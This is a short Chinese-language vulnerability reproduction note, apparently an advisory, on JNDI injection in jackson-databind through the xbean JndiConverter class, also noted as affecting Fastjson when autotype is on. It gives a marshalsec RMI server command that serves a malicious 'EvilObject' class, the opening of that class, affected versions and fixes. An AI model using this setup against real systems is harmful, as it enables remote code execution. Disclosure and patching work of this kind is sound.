0x01 背景
近日,安全监控跟踪到jackson-databind更新了JNDI注入的黑名单类,并发布了新版本,如果在项目包中存在该类的jar包且JDK版本满足注入条件,则可以使用JNDI注入的方式导致远程代码执行。
例如可以 使用 org.apache.xbean.propertyeditor.JndiConverter 这个类来 JNDI 注入。
0x02 复现
以 Jackson-databind 2.10.1 + xbean-reflect-4.15 作为漏洞环境进行复现。
依赖包如上,使用 JDNI 注入,还有同时开启 LDAP 服务 和 web 服务防止恶意反序列化类 EvilObject。
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/\#EvilObject |
EvilObject 类的内容如下,由于本机计算器有问题,利用生成文件来测试。
1 | import java.lang.Runtime; |
然后执行 Poc.java
同时此黑名单类也会影响 Fastjson,前提是成功在开启autotype(默认不开启)。
0x03 影响
jackson-databind 2.0.0 ~ 2.9.10.2
0x04 修复
- 更新到最新版本
- 使用高版本JDK